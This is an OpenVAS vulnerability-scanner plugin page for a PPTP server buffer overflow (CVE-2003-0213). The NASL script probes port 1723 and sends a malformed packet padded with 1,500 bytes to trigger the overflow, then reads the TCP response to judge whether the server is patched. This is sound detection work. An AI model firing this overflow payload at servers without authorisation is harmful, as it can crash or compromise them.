Lucene search

K
openvasCopyright (C) 2003 Xue Yong ZhiOPENVAS:136141256231011540
HistoryNov 03, 2005 - 12:00 a.m.

PPTP Server Buffer Overflow Vulnerability

2005-11-0300:00:00
Copyright (C) 2003 Xue Yong Zhi
plugins.openvas.org
27

6.5 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.341 Low

EPSS

Percentile

97.1%

The remote PPTP server is prone to a remote buffer overflow
vulnerability.

# SPDX-FileCopyrightText: 2003 Xue Yong Zhi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11540");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PPTP Server Buffer Overflow Vulnerability");
  script_cve_id("CVE-2003-0213");
  script_category(ACT_ATTACK);
  script_family("Gain a shell remotely");
  script_copyright("Copyright (C) 2003 Xue Yong Zhi");
  script_dependencies("pptp_detect.nasl");
  script_require_ports("Services/pptp", 1723);

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/7316");

  script_tag(name:"summary", value:"The remote PPTP server is prone to a remote buffer overflow
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted TCP request and checks the response.");

  script_tag(name:"insight", value:"The problem occurs due to insufficient sanity checks when
  referencing user-supplied input used in various calculations. As a result, it may be possible for
  an attacker to trigger a condition where sensitive memory can be corrupted.");

  script_tag(name:"impact", value:"Successful exploitation of this issue may allow an attacker to
  execute arbitrary code with the privileges of the affected server.");

  script_tag(name:"solution", value:"The vendor has released updated releases of PPTP server which
  address this issue. Users are advised to upgrade as soon as possible.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("byte_func.inc");
include("port_service_func.inc");

port = service_get_port(default:1723, proto:"pptp");

if(!soc = open_sock_tcp(port))
  exit(0);

set_byte_order(BYTE_ORDER_BIG_ENDIAN);

pptp_head = mkword(1) +           # Message Type
            mkdword(0x1a2b3c4d) + # Cookie
            mkword(1) +           # Control type (Start-Control-Connection-Request)
            mkword(0) +           # Reserved
            mkword(0x0100) +      # Protocol Version (1.0)
            mkword(0) +           # Reserved
            mkdword(1) +          # Framing Capabilities
            mkdword(1) +          # Bearer capabilities
            mkword(0);            # Maximum channels
pptp_vendor = mkword(2320) + # Firmware revision (arbitrary number)
              mkpad(64) +    # Hostname
              mkpad(64);     # Vendor

buffer = mkword(strlen(pptp_head) + strlen(pptp_vendor) + 2) + pptp_head + pptp_vendor;

send(socket:soc, data:buffer);
r = recv(socket:soc, length:2);
if(!r || strlen(r) != 2) {
  close(soc);
  exit(0);
}

l = getword(blob:r, pos:0);
r += recv(socket:soc, length:l - 2, min:l - 2);
close(soc);

if(strlen(r) != l)
  exit(0);

if(strlen(r) < strlen(pptp_head) + strlen(pptp_vendor))
  exit(0);

cookie = getdword(blob:r, pos:4);
if(cookie != 0x1a2b3c4d)
  exit(0);

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

send(socket:soc, data:buffer);
rec_buffer = recv(socket:soc, length:156);
close(soc);

if("linux" >!< rec_buffer)
  exit(0);

buffer = raw_string(0x00, 0x00) +     # Length = 0
         crap(length:1500, data:'A'); # Random data

if(!soc = open_sock_tcp(port))
  exit(0);

send(socket:soc, data:buffer);

# Patched pptp server will return RST(will not read bad data),
# unpatched will return FIN(read all the bad data and be overflowed).

filter = string("tcp and src host ", get_host_ip(), " and dst host ", this_host(), " and src port ", port, " and dst port ", get_source_port(soc), " and tcp[13:1]&1!=0");
for(i = 0; i < 5; i++) {
  r = pcap_next(pcap_filter:filter, timeout:2);
  if(r) {
    close(soc);
    security_message(port:port);
    exit(0);
  }
}

close(soc);

exit(99);

6.5 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.341 Low

EPSS

Percentile

97.1%